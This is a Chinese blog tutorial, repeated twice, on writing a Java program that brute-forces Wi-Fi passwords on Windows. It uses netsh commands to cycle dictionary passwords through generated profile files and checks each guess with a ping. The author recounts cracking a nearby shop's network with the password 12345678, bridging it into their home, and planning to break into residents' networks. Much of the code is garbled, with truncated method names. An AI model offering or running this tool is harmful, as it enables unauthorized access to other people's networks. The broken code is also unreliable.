2023年7月31日发(作者:)

Java编程实现暴⼒破解WIFI密码的⽅法分析本⽂实例讲述了Java编程实现暴⼒破解WIFI密码的⽅法。分享给⼤家供⼤家参考,具体如下:开始进⼊正题。在⽹上找了很多wifi破解⼯具,都是linux平台下⽤的,然后还不⽀持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置⽹卡。所以得把系统刻到U盘,然后⽤U盘启动。但是我现在穷得连⼀条内裤都没有了,哪来的U盘啊。于是就决定⾃⼰写,⽽且还得⽤Java写,写了我还得在windows上运⾏。⼀、准备⼯作⾸先你得需要⼀台能连wifi的电脑,然后你的电脑得⽀持Java环境,最后你周围得有⽆线⽹络。ok,话不多说,说开撸,⽼夫就要开撸。于是⽹上找到了windows下cmd⽆线⽹络操作的相关命令。如下:// 列出所有可⽤wifinetsh wlan show networks mode=bssid// 添加配置⽂件netsh wlan add profile filename=FILE_NAME// 连接wifinetsh wlan connect name=SSID_NAME// 导出配置⽂件netsh wlan export profile key=clear// 列出配置⽂件netsh wlan show profile// 删除配置⽂件netsh wlan delete profile name=FILE_NAME// 列出接⼝netsh wlan show interface// 开启接⼝netsh interface set interface "Interface Name" enabled⾸先需要写配置⽂件,⽅便待会使⽤。⾸先我们可以看看配置⽂件张啥样,导出配置⽂件看看就知道了。打开命令⾏,输⼊这我这篇⽂章中,主要会⽤到前四个命令,其他的命令就当给各位做拓展了。netsh wlan export profile key=clear就导出了配置⽂件,注意,这⼉的配置⽂件默认导出在cmd执⾏的当前路径,如下,我导出的⽂件就在 C:UsersAdmin 下⾯,可以看到⽂件都是⽅式。如 TP-LINK_ ,随便打开⼀个我们可以看到xml⽂件的具体内容,但是有⼀些内容是我们不需要的,我们需要的是下⾯这个样⼦SSID_NAME SSID_NAME ESSauto AUTH_TYPE AES false passPhrase false PASSWORD false⼆、扫描WIFI其中 SSID_NAME 是待会我们会⽤到的wifi名称, AUTH_TYPE 是wifi的加密⽅式, PASSWORD 是我们会暴⼒破解的密码变量。OK,背景交代得差不多了,可以开⼲了。⾸先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密⽅式、信号强度(信号太弱的,我们就不进⾏破解了,破解了也没啥⽤)。扫描其实就是执⾏⼀个CMD命令的问题,先封装⼀个CMD执⾏器吧。/** * 执⾏器 * * @param cmd CMD命令 * @param filePath 需要在哪个⽬录下执⾏ */private static List execute(String cmd, String filePath) { Process process = null; List result = new ArrayList(); try { if (filePath != null) { process = time().exec(cmd, null, new File(filePath)); } else { process = time().exec(cmd); } BufferedReader bReader = new BufferedReader(new InputStreamReader(utStream(), "gbk")); String line = null; while ((line = ne()) != null) { (line); } } catch (IOException e) { tackTrace(); } return result;}/** * 列出所有信号较好的ssid * * @return 所有ssid */public static List listSsid() { List ssidList = new ArrayList(); String cmd = _NETWORKS; List result = execute(cmd, null); if (result != null && () > 0) { // todo 整合信息 } return ssidList;}然后扫描周围wifi信息,并返回相关信息三、⽣成配置⽂件OK,接下来我们就可以开始针对每个不同的SSID⽣成不同的配置⽂件了,⽣成⽂件整个过程就是根据每个不同的密码⽣成⼀个配置⽂件。⼤概代码如下/** * 配置⽂件⽣成器 */public class ProfileGenerator { private String ssid = null; private String passwrodPath = null; private ExecutorService threadPool = edThreadPool(4); public ProfileGenerator(String ssid, String passwrodPath) { = ssid; odPath = passwrodPath; } /** * ⽣成配置⽂件 */ public void genProfile() { List passwordList = null; int counter = 0; outer: while (true) { int start = counter * _SIZE; int end = (counter + 1) * _SIZE - 1; passwordList = ne(passwrodPath, start, end); if (passwordList != null && () > 0) { // ⽣成配置⽂件 for (String password : passwordList) { GenThread genThread = new GenThread(ssid, password); e(genThread); } } else { break outer; } counter++; } }}class GenThread implements Runnable { private String ssid = null; private String password = null; GenThread(String ssid, String password) { = ssid; rd = password; } public void run() { String profileContent = e(_NAME, ssid); profileContent = e(_PASSWORD, password); oFile(E_TEMP_PATH + "" + password + ".xml", profileContent); }}需要哪些密码可以⾃⼰现在⽹上找⼀些字典来跑,建议顺序是 常⽤弱⼝令 => 字典⾯ => 随机密码(到了随机密码这⼉,意义也不⼤了)。这⼉给出⼀个常见弱⼝令的 。反正我只⽤这个弱⼝令破解过⼀个WIFI。这⼉为了加快⽂件⽣成速度,我开启了多线程。个⼈实际感受,如果只是⼏千到⼏万个的话,其实多线程不多线程,并没有多⼤区别,真正的区别在于后⾯尝试连接的时候。四、遍历校验配置⽂件接下来就是最耗时的⼀步了,⼀个个密码去校验。关键代码如下/** * 校验WLAN配置⽂件是否正确 *

* 校验步骤为: * ---step1 添加配置⽂件 * ---step3 连接wifi * ---step3 ping校验 */public synchronized boolean check(String ssid, String password) { n("check : " + password); try { String profileName = password + ".xml"; if (addProfile(profileName)) { if (connect(ssid)) { (50); if (ping()) { return true; } } } } catch (InterruptedException e) { tackTrace(); } return false;}/** * 添加配置⽂件 * * @param profileName 添加配置⽂件 */private static boolean addProfile(String profileName) { String cmd = _e("FILE_NAME", profileName); List result = execute(cmd, E_TEMP_PATH); if (result != null && () > 0) { if ((0).contains("添加到接⼝")) { return true; } } return false;}/** * 连接wifi * * @param ssid 添加配置⽂件 */private static boolean connect(String ssid) { boolean connected = false; String cmd = e("SSID_NAME", ssid); List result = execute(cmd, null); if (result != null && () > 0) { if ((0).contains("已成功完成")) { connected = true; } } return connected;}/** * ping 校验 */private static boolean ping() { boolean pinged = false; String cmd = "ping " + _DOMAIN; List result = execute(cmd, null); if (result != null && () > 0) { for (String item : result) { if (ns("来⾃")) { pinged = true; break; } } } return pinged;}两点释疑:1. 为什么需要sleep(50)? 因为在连接后,电脑没有⽴即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50⾏不⾏。2. 为什么需要ping⽹站? 因为在第⼆步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接' 的字样。所以没办法,只有⽤ping来校验,不过我相信⼀定能够优化的。这⼀步我开启了多线程,去验证,有⼈说为什么⽤多线程,明明验证⽅法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那⼀点点时间,我⽤了多线程。五、连接成功OK,⾄此,为师已将毕⽣功⼒传授给你了,你出去就说是三年经验了。呸,说错了,⾄此,整个流程⼤概就已经出来了,接下来就run你的程序吧。等待密码的破解。我⼀共在我家周围瞄上了三个信号看起来还可以的wifi。⽤这个程序跑了40多秒,开了⼀个wifi的密码 12345678。耶成功了终于可以⽤了。然后根据密码,把⾃家路由器设置⼀个桥接模式。家⾥处处都有⽹了。五、或者放弃或者,你也可以放弃。愉快地⽤了⼀晚上过后,我第⼆天早上起来发现⽹断了,原来那个⽹不存在了,但是到了中午⼜有了。我估计是底商闭店了,就断电了,⽹就没了。于是想要撬开⼀个住户的⽹,跑了两个看起来信号⽐较好的⽹络,都以失败告终因为密码字典不够强⼤。⽹上下过⼏个字典⽣成器,都不能⽤。算了吧先凑合⽤着现在的⽹络,等我有空了,写个字典⽣成器,来撬开。更多关于java相关内容感兴趣的读者可查看本站专题:《》、《》、《》、《》、《》和《》希望本⽂所述对⼤家java程序设计有所帮助。

2023年7月31日发(作者:)

Java编程实现暴⼒破解WIFI密码的⽅法分析本⽂实例讲述了Java编程实现暴⼒破解WIFI密码的⽅法。分享给⼤家供⼤家参考,具体如下:开始进⼊正题。在⽹上找了很多wifi破解⼯具,都是linux平台下⽤的,然后还不⽀持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置⽹卡。所以得把系统刻到U盘,然后⽤U盘启动。但是我现在穷得连⼀条内裤都没有了,哪来的U盘啊。于是就决定⾃⼰写,⽽且还得⽤Java写,写了我还得在windows上运⾏。⼀、准备⼯作⾸先你得需要⼀台能连wifi的电脑,然后你的电脑得⽀持Java环境,最后你周围得有⽆线⽹络。ok,话不多说,说开撸,⽼夫就要开撸。于是⽹上找到了windows下cmd⽆线⽹络操作的相关命令。如下:// 列出所有可⽤wifinetsh wlan show networks mode=bssid// 添加配置⽂件netsh wlan add profile filename=FILE_NAME// 连接wifinetsh wlan connect name=SSID_NAME// 导出配置⽂件netsh wlan export profile key=clear// 列出配置⽂件netsh wlan show profile// 删除配置⽂件netsh wlan delete profile name=FILE_NAME// 列出接⼝netsh wlan show interface// 开启接⼝netsh interface set interface "Interface Name" enabled⾸先需要写配置⽂件,⽅便待会使⽤。⾸先我们可以看看配置⽂件张啥样,导出配置⽂件看看就知道了。打开命令⾏,输⼊这我这篇⽂章中,主要会⽤到前四个命令,其他的命令就当给各位做拓展了。netsh wlan export profile key=clear就导出了配置⽂件,注意,这⼉的配置⽂件默认导出在cmd执⾏的当前路径,如下,我导出的⽂件就在 C:UsersAdmin 下⾯,可以看到⽂件都是⽅式。如 TP-LINK_ ,随便打开⼀个我们可以看到xml⽂件的具体内容,但是有⼀些内容是我们不需要的,我们需要的是下⾯这个样⼦SSID_NAME SSID_NAME ESSauto AUTH_TYPE AES false passPhrase false PASSWORD false⼆、扫描WIFI其中 SSID_NAME 是待会我们会⽤到的wifi名称, AUTH_TYPE 是wifi的加密⽅式, PASSWORD 是我们会暴⼒破解的密码变量。OK,背景交代得差不多了,可以开⼲了。⾸先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密⽅式、信号强度(信号太弱的,我们就不进⾏破解了,破解了也没啥⽤)。扫描其实就是执⾏⼀个CMD命令的问题,先封装⼀个CMD执⾏器吧。/** * 执⾏器 * * @param cmd CMD命令 * @param filePath 需要在哪个⽬录下执⾏ */private static List execute(String cmd, String filePath) { Process process = null; List result = new ArrayList(); try { if (filePath != null) { process = time().exec(cmd, null, new File(filePath)); } else { process = time().exec(cmd); } BufferedReader bReader = new BufferedReader(new InputStreamReader(utStream(), "gbk")); String line = null; while ((line = ne()) != null) { (line); } } catch (IOException e) { tackTrace(); } return result;}/** * 列出所有信号较好的ssid * * @return 所有ssid */public static List listSsid() { List ssidList = new ArrayList(); String cmd = _NETWORKS; List result = execute(cmd, null); if (result != null && () > 0) { // todo 整合信息 } return ssidList;}然后扫描周围wifi信息,并返回相关信息三、⽣成配置⽂件OK,接下来我们就可以开始针对每个不同的SSID⽣成不同的配置⽂件了,⽣成⽂件整个过程就是根据每个不同的密码⽣成⼀个配置⽂件。⼤概代码如下/** * 配置⽂件⽣成器 */public class ProfileGenerator { private String ssid = null; private String passwrodPath = null; private ExecutorService threadPool = edThreadPool(4); public ProfileGenerator(String ssid, String passwrodPath) { = ssid; odPath = passwrodPath; } /** * ⽣成配置⽂件 */ public void genProfile() { List passwordList = null; int counter = 0; outer: while (true) { int start = counter * _SIZE; int end = (counter + 1) * _SIZE - 1; passwordList = ne(passwrodPath, start, end); if (passwordList != null && () > 0) { // ⽣成配置⽂件 for (String password : passwordList) { GenThread genThread = new GenThread(ssid, password); e(genThread); } } else { break outer; } counter++; } }}class GenThread implements Runnable { private String ssid = null; private String password = null; GenThread(String ssid, String password) { = ssid; rd = password; } public void run() { String profileContent = e(_NAME, ssid); profileContent = e(_PASSWORD, password); oFile(E_TEMP_PATH + "" + password + ".xml", profileContent); }}需要哪些密码可以⾃⼰现在⽹上找⼀些字典来跑,建议顺序是 常⽤弱⼝令 => 字典⾯ => 随机密码(到了随机密码这⼉,意义也不⼤了)。这⼉给出⼀个常见弱⼝令的 。反正我只⽤这个弱⼝令破解过⼀个WIFI。这⼉为了加快⽂件⽣成速度,我开启了多线程。个⼈实际感受,如果只是⼏千到⼏万个的话,其实多线程不多线程,并没有多⼤区别,真正的区别在于后⾯尝试连接的时候。四、遍历校验配置⽂件接下来就是最耗时的⼀步了,⼀个个密码去校验。关键代码如下/** * 校验WLAN配置⽂件是否正确 *

* 校验步骤为: * ---step1 添加配置⽂件 * ---step3 连接wifi * ---step3 ping校验 */public synchronized boolean check(String ssid, String password) { n("check : " + password); try { String profileName = password + ".xml"; if (addProfile(profileName)) { if (connect(ssid)) { (50); if (ping()) { return true; } } } } catch (InterruptedException e) { tackTrace(); } return false;}/** * 添加配置⽂件 * * @param profileName 添加配置⽂件 */private static boolean addProfile(String profileName) { String cmd = _e("FILE_NAME", profileName); List result = execute(cmd, E_TEMP_PATH); if (result != null && () > 0) { if ((0).contains("添加到接⼝")) { return true; } } return false;}/** * 连接wifi * * @param ssid 添加配置⽂件 */private static boolean connect(String ssid) { boolean connected = false; String cmd = e("SSID_NAME", ssid); List result = execute(cmd, null); if (result != null && () > 0) { if ((0).contains("已成功完成")) { connected = true; } } return connected;}/** * ping 校验 */private static boolean ping() { boolean pinged = false; String cmd = "ping " + _DOMAIN; List result = execute(cmd, null); if (result != null && () > 0) { for (String item : result) { if (ns("来⾃")) { pinged = true; break; } } } return pinged;}两点释疑:1. 为什么需要sleep(50)? 因为在连接后,电脑没有⽴即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50⾏不⾏。2. 为什么需要ping⽹站? 因为在第⼆步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接' 的字样。所以没办法,只有⽤ping来校验,不过我相信⼀定能够优化的。这⼀步我开启了多线程,去验证,有⼈说为什么⽤多线程,明明验证⽅法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那⼀点点时间,我⽤了多线程。五、连接成功OK,⾄此,为师已将毕⽣功⼒传授给你了,你出去就说是三年经验了。呸,说错了,⾄此,整个流程⼤概就已经出来了,接下来就run你的程序吧。等待密码的破解。我⼀共在我家周围瞄上了三个信号看起来还可以的wifi。⽤这个程序跑了40多秒,开了⼀个wifi的密码 12345678。耶成功了终于可以⽤了。然后根据密码,把⾃家路由器设置⼀个桥接模式。家⾥处处都有⽹了。五、或者放弃或者,你也可以放弃。愉快地⽤了⼀晚上过后,我第⼆天早上起来发现⽹断了,原来那个⽹不存在了,但是到了中午⼜有了。我估计是底商闭店了,就断电了,⽹就没了。于是想要撬开⼀个住户的⽹,跑了两个看起来信号⽐较好的⽹络,都以失败告终因为密码字典不够强⼤。⽹上下过⼏个字典⽣成器,都不能⽤。算了吧先凑合⽤着现在的⽹络,等我有空了,写个字典⽣成器,来撬开。更多关于java相关内容感兴趣的读者可查看本站专题:《》、《》、《》、《》、《》和《》希望本⽂所述对⼤家java程序设计有所帮助。